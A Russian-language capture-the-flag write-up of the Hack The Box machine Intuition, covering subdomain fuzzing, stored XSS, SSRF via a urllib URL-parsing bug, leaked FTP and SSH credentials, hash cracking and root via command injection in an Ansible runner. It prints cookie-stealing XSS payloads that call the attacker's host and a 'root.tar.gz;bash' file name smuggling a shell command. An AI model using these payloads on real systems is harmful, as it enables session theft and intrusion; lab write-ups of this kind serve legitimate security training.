HTB Intuition
Эксплуатируем баг в раннере Ansible для повышения привилегий
Наша цель — получение прав суперпользователя на машине Intuition с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.15 intuition.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Также отмечаем, что веб‑сервер на 80-м порте редиректит на домен comprezzor.
, поэтому добавим его в файл /
.
10.10.11.15 intuition.htb comprezzor.htb
Переходим к сайту на веб‑сервере и сразу получаем форму для загрузки файлов.

Точка входа
Ниже на странице есть ссылка на форму, куда можно отправлять информацию о найденных багах.

Ссылка ведет на сайт report.
, поэтому, прежде чем идти смотреть на него, снова добавим запись в файл /
.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb

Так как мы уже нашли сайт на поддомене report
, есть смысл пробрутить поддомены по списку: так мы сможем найти еще больше сайтов, а соответственно, и больше точек входа. Подбирать поддомены будем с помощью утилиты ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— HTTP-заголовок.
Место перебора помечается словом FUZZ.
Задаем все нужные параметры:
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256

В вывод программы попадают абсолютно все слова из списка, поэтому необходимо добавить фильтр, например по размеру страницы (параметр -fs
).
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256 -fs 178

Находим еще два поддомена. Обновляем запись в файле /
и наконец идем смотреть сайты.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb
На auth.
нас встречает форма авторизации, а dashboard.
недоступен даже после регистрации и авторизации.

Куда интереснее форма отправки отчетов, так как ее можно потестировать на разные уязвимости.

По логике, если отчет кто‑то просматривает, мы можем попробовать проэксплуатировать уязвимость XSS. Для этого запустим локальный веб‑сервер:
python3 -m http.server
И отправим нагрузку, которая должна будет выполнить запрос на этот веб‑сервер.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />


На веб‑сервер пришел запрос, а значит, на сайте есть XSS. Недолго думая, попробуем стащить куки пользователя.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />

В логах появляется длинная строка. Загружаем куки в браузер, пометив, что они предназначены для сайта dashboard, и переходим на этот сайт.

Точка опоры
Повышение привилегий
На странице мы можем смотреть сами отчеты, переходя по ссылкам в Report ID. При этом на странице самого отчета можно повысить его приоритет.

При повышении приоритета отчета, вероятно, его будет изучать уже администратор. А значит, мы сможем повторить трюк с XSS и получить cookie. Откроем отчет и повысим его приоритет, и, когда администратор перейдет к нему, мы получим его куки.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />


Применяем куки в хранилище браузера Chrome и обновляем страницу. Теперь нам доступен другой дашборд, а также несколько новых функций.

Одна из интересных возможностей — это составление отчета в PDF по предоставленному URL.
Первой моей идеей было проверить, нет ли тут SSRF, и попробовать стащить локальные файлы через схему file://
. Правда, это результатов не дало.

Попробуем прислать тестовый запрос на свой листенер. Запустим его:
nc -nlvp 8000
Обрати внимание на используемую на сервере библиотеку — Python-urllib/
. Ее можно увидеть в HTTP-заголовке User-Agent
.

В этой библиотеке в прошлом году нашли уязвимость CVE-2023-24329.

Я поискал эксплоиты в Google и легко отыскал подходящий. Если URL будет начинаться с пробела, то мы сможем читать локальные файлы через «
.

LFI
Так как мы работаем с приложением на Python, хорошо бы взглянуть на исходный код. А для этого нужно знать, где в файловой системе находится приложение. Давай глянем файл /
— там содержится командная строка для текущего процесса.

Таким образом, для старта приложения запускается файл /
. Получим его содержимое.

Помимо секрета Flask, нас интересуют импорты, которые указывают на другие питоновские файлы этого приложения:
-
redirect
;from blueprints. index. index -
main_bp
;from blueprints. report. report -
report_bp
;from blueprints. auth. auth -
auth_bp
;from blueprints. dashboard. dashboard -
dashboard_bp
.
Поочередно просматриваем файлы и останавливаемся вот на этом:
/app/code/blueprints/dashboard/dashboard.py
В исходном коде есть учетные данные для подключения к FTP-серверу.

Видимо, на хосте работает локальный FTP-сервер. Через SSRF мы можем к нему подключиться.
ftp://ftp_admin:u3jai8y71s2@ftp.local/

На FTP-сервере находим приватный ключ, файл PDF и какую‑то записку. Прочитаем записку welcome_note.
.
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt

В записке находим пароль для ключа SSH. Теперь читаем сам приватный ключ private-8297.
.
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

Итак, у нас есть ключ SSH и пароль для него. Но ни к одному пользователю из файла /
он не подошел. Тогда достанем эту информацию из самого ключа.
ssh-add id_rsa

От имени пользователя dev_acc подключаемся к серверу и забираем первый флаг.
ssh -i id_rsa dev_acc@10.10.11.15

Продвижение
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, выберем только важную информацию.
У веб‑приложения есть файл базы данных users.
.

На хосте обновляются логи Suricata.

Переходим к каталогу веб‑приложения blueprints и читаем файлы .
, чтобы понимать структуры баз и таблиц. Первым делом проверяем файлы для базы users
.

В таблице users
всего четыре столбца: идентификатор, имя пользователя, пароль (скорее всего, хеш) и роль. Читаем файл users.
и парсим из него хеши:
adam : sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43 (webdev)
admin : sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606 (admin)

Отправляем полученные хеши на брут и спустя минуту получаем один пароль.
hashcat hashes.txt rockyou.txt

С новыми учетными данными никуда не зайти. Вспоминаем про FTP-сервер и пробуем авторизоваться как пользователь adam.
ftp adam@127.0.0.1

В итоге находим каталог backup, который содержит исходные коды какого‑то раннера. Скачиваем все файлы через команду get
.

Также не оставляем без внимания и логи Suricata в каталоге /
. Там могут проскальзывать учетные данные и другая интересная информация.

Пробуем грепать все логи по слову login
. Для обычных файлов используем grep
, для архивов — zgrep
.
grep -iR login ./
zgrep -i login *.gz

В архиве видим лог с неудачной авторизацией на FTP-сервере. Проверим только архивы, при этом отфильтруем ответ «FTP Failed Login Attempt».
zgrep -i login *.gz | grep -v 'FTP Failed Login Attempt'

Находим очередную пару логин — пароль, с которой уже получаем сессию пользователя SSH.

Локальное повышение привилегий
Мы сменили контекст пользователя, а значит, нужно проверить доступные файлы с выставленным битом SUID и настройки sudoers. При этом команда id
уже показала, что пользователь lopez состоит в группе sys-adm.

Из файла /
следует, что мы можем запустить бинарь /
от имени пользователя root. Выполним тестовый запуск и проверим вывод программы.

Таким образом, приложение ожидает файл JSON. Мы уже встречали исходные коды с подобным названием, поэтому проанализируем их.
Начинаем с файла run-tests.
, который предназначен для запуска первой версии раннера. Первая версия принимает все параметры через командную строку и не использует для этого файл JSON.

В исходном коде встречаем образованный от пароля хеш MD5, который должен передаваться приложению в параметре -a
.

Мы знаем большую часть пароля, осталось перебрать всего четыре символа. Hashcat очень легко справился с этой задачей. Для перебора по маске нужно использовать параметр -a
.
hashcat -a 3 -m 0 '0feda17076d793c2ef2870d7427ad4ed' UHI75GHI?u?u?u?u

Пароль для запуска у нас есть, будем надеяться, что он остался тем же и во второй версии раннера. В функции находим список возможных команд (строка 65): list
, run
и install
.

По команде list
мы просто получим список файлов YAML из каталога /
(строки 31–49). Команды run
и install
c помощью функции snprintf
сформируют строку и передадут для выполнения в командную оболочку через функцию system
(строки 51–61).

Подобный вызов функции system
очень опасен, так как мы можем передать конвейер команд и проэксплуатировать инъекцию команд ОС.
По строкам из файла runner
мы можем восстановить примерную конструкцию файла JSON:
- пароль передается в параметре
auth_code
; - команда передается в параметре
action
; - параметр
action
передается в блокеrun
.
Для теста выполним команду list
. Для этого создадим файл test.
и запустим раннер.
{ "run":{ "action":"list" }, "auth_code":"UHI75GHINKOP"}

Команда выполнена успешно, а значит, формат файла подобран верно. Теперь перейдем к внедрению команды. Команде install
будем передавать архив, в имени которого уже будет конвейер команд, запускающий командную оболочку bash.
mkdir root
tar -vcfr root.tar.gz root
mv root.tar.gz 'root.tar.gz;bash'
Используем следующий конфиг и выполняем раннер. После обработки конфига получаем сессию в привилегированном контексте.
{ "run":{ "action":"install", "role_file":"root.tar.gz;bash" }, "auth_code":"UHI75GHINKOP"}

Машина захвачена!